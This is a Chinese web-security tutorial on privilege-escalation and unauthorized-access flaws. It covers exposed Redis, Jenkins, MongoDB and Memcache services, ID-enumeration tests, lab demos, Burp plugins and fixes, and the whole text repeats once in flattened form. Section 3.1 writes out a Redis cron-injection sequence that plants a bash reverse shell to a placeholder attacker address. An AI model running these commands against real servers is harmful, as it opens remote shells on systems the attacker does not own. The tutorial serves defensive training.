[红日安全]Web安全Day7 - 越权非授权访问实战攻防
字数 1664 2025-08-18 11:39:19

Web安全实战:越权与非授权访问漏洞攻防详解

一、漏洞概述

1.1 越权漏洞定义

越权漏洞是指用户能够操作超出自身管理权限范围的功能,执行非授权操作的安全问题。主要分为两类:

  • 垂直越权:低权限用户执行高权限用户功能
  • 水平越权:同级用户间互相访问敏感信息或执行操作

1.2 未授权访问定义

未授权访问是指在不进行请求授权的情况下访问需要权限的功能,通常由认证缺陷、无认证或安全配置不当导致。

二、漏洞原理与危害

2.1 漏洞产生原因

  • 系统对用户限制不全或无限制
  • 未对功能访问做权限校验或限制不全
  • 仅对部分功能和操作做限制

2.2 漏洞危害

  • 未授权访问危害
    • 泄露用户/系统信息
    • 执行系统命令
    • 操作系统文件
  • 越权危害
    • 垂直越权:获取高权限账号信息,执行高权限操作
    • 水平越权:访问同级用户敏感信息,执行修改/删除等操作

三、常见未授权服务漏洞

3.1 Redis未授权访问

  • 默认端口:6379
  • 利用方式
    redis-cli -h 目标IP
    set x "\n*bash -i >& /dev/tcp/攻击IP/端口 0>&1\n"
    config set dir /var/spool/cron/
    config set dbfilename root
    save
    

3.2 Jenkins未授权访问

  • 默认端口:8080
  • 危险路径
    • /manage
    • /script(可执行系统命令)

3.3 MongoDB未授权访问

  • 默认端口:27017
  • 风险:无需密码即可对数据库进行增删改查

3.4 Memcache未授权访问

  • 默认端口:11211
  • 风险:直接读取缓存中的敏感信息

四、越权漏洞测试方法

4.1 基于用户ID的越权

  • 测试方法
    • 遍历用户ID参数:?user_id=10001
    • 注册新用户测试
    • 使用Burp随机数爆破

4.2 基于功能对象ID的越权

  • 测试方法
    • 遍历订单号:?user_order=100001
    • 尝试BASE64/MD5解码
    • 注册新账号下单测试

4.3 基于上传文件对象ID的越权

  • 测试方法
    • 遍历文件ID:?fileid=10001
    • 分析文件名命名规则
    • 注册新用户上传测试

4.4 基于未授权访问的越权

  • 测试方法
    • 直接访问需认证的URL
    • 检查是否绕过Session验证

4.5 基于功能地址的越权

  • 测试方法
    • 猜测功能路径:/getuserorder.php/adduser.php
    • 尝试英文拼接的常见功能名

4.6 基于接口身份的越权

  • 测试方法
    • 修改请求中的用户ID参数
    • 配合其他越权漏洞验证

五、靶场实战演示

5.1 Webug4.0越权修改密码

  1. 环境搭建:

    • 导入SQL文件到数据库
    • 修改dbconfigdbconn配置
    • 修正cross_auth_passwd.php路径
  2. 漏洞利用:

    • 正常修改自己密码抓包
    • 修改请求中的用户ID参数
    • 无需验证旧密码即可修改他人密码

5.2 PHPCMS前台任意修改用户信息

  1. 漏洞原理:

    • 密码重置功能未绑定验证码与账号
    • 仅验证验证码有效性
  2. 利用步骤:

    • 为test1用户获取邮箱验证码
    • 使用验证码修改test2用户密码
    • 成功登录test2账户

六、测试工具

6.1 Burp插件Authz

  • 安装:通过BApp Store安装
  • 使用方法:
    1. 获取两个用户的Cookie
    2. 发送请求到Authz
    3. 比较响应差异

6.2 AuthMatrix

  • 更复杂的越权检测工具
  • 支持多用户、Token替换等高级功能

七、漏洞修复方案

  1. 参数验证

    • 验证前端获取的用户ID和角色权限
    • 对返回数据的参数进行权限校验
  2. 地址设计

    • 使用不可预测的特定链接地址
    • 如:getuserinfo_snhx.php
  3. 操作验证

    • 根据Session判断用户身份
    • 参数只传输修改的用户信息
  4. 权限区分

    • 不使用相同参数区分用户和管理员
  5. 查询限制

    • 对每次请求参数做用户身份校验
  6. 验证码绑定

    • 将验证码与账号/手机号/邮箱绑定
    • 执行修改时验证对应关系

八、总结

越权与非授权访问漏洞是Web安全中常见的高风险问题,攻击者利用这些漏洞可以获取敏感信息或执行未授权操作。防御关键在于严格的权限校验、参数验证和安全配置。通过本文介绍的各种测试方法和修复方案,开发人员和安全工程师可以更好地识别和防范此类安全风险。

Web安全实战:越权与非授权访问漏洞攻防详解 一、漏洞概述 1.1 越权漏洞定义 越权漏洞是指用户能够操作超出自身管理权限范围的功能,执行非授权操作的安全问题。主要分为两类: 垂直越权 :低权限用户执行高权限用户功能 水平越权 :同级用户间互相访问敏感信息或执行操作 1.2 未授权访问定义 未授权访问是指在不进行请求授权的情况下访问需要权限的功能,通常由认证缺陷、无认证或安全配置不当导致。 二、漏洞原理与危害 2.1 漏洞产生原因 系统对用户限制不全或无限制 未对功能访问做权限校验或限制不全 仅对部分功能和操作做限制 2.2 漏洞危害 未授权访问危害 : 泄露用户/系统信息 执行系统命令 操作系统文件 越权危害 : 垂直越权:获取高权限账号信息,执行高权限操作 水平越权:访问同级用户敏感信息,执行修改/删除等操作 三、常见未授权服务漏洞 3.1 Redis未授权访问 默认端口 :6379 利用方式 : 3.2 Jenkins未授权访问 默认端口 :8080 危险路径 : /manage /script (可执行系统命令) 3.3 MongoDB未授权访问 默认端口 :27017 风险 :无需密码即可对数据库进行增删改查 3.4 Memcache未授权访问 默认端口 :11211 风险 :直接读取缓存中的敏感信息 四、越权漏洞测试方法 4.1 基于用户ID的越权 测试方法 : 遍历用户ID参数: ?user_id=10001 注册新用户测试 使用Burp随机数爆破 4.2 基于功能对象ID的越权 测试方法 : 遍历订单号: ?user_order=100001 尝试BASE64/MD5解码 注册新账号下单测试 4.3 基于上传文件对象ID的越权 测试方法 : 遍历文件ID: ?fileid=10001 分析文件名命名规则 注册新用户上传测试 4.4 基于未授权访问的越权 测试方法 : 直接访问需认证的URL 检查是否绕过Session验证 4.5 基于功能地址的越权 测试方法 : 猜测功能路径: /getuserorder.php 、 /adduser.php 尝试英文拼接的常见功能名 4.6 基于接口身份的越权 测试方法 : 修改请求中的用户ID参数 配合其他越权漏洞验证 五、靶场实战演示 5.1 Webug4.0越权修改密码 环境搭建: 导入SQL文件到数据库 修改 dbconfig 和 dbconn 配置 修正 cross_auth_passwd.php 路径 漏洞利用: 正常修改自己密码抓包 修改请求中的用户ID参数 无需验证旧密码即可修改他人密码 5.2 PHPCMS前台任意修改用户信息 漏洞原理: 密码重置功能未绑定验证码与账号 仅验证验证码有效性 利用步骤: 为test1用户获取邮箱验证码 使用验证码修改test2用户密码 成功登录test2账户 六、测试工具 6.1 Burp插件Authz 安装:通过BApp Store安装 使用方法: 获取两个用户的Cookie 发送请求到Authz 比较响应差异 6.2 AuthMatrix 更复杂的越权检测工具 支持多用户、Token替换等高级功能 七、漏洞修复方案 参数验证 : 验证前端获取的用户ID和角色权限 对返回数据的参数进行权限校验 地址设计 : 使用不可预测的特定链接地址 如: getuserinfo_snhx.php 操作验证 : 根据Session判断用户身份 参数只传输修改的用户信息 权限区分 : 不使用相同参数区分用户和管理员 查询限制 : 对每次请求参数做用户身份校验 验证码绑定 : 将验证码与账号/手机号/邮箱绑定 执行修改时验证对应关系 八、总结 越权与非授权访问漏洞是Web安全中常见的高风险问题,攻击者利用这些漏洞可以获取敏感信息或执行未授权操作。防御关键在于严格的权限校验、参数验证和安全配置。通过本文介绍的各种测试方法和修复方案,开发人员和安全工程师可以更好地识别和防范此类安全风险。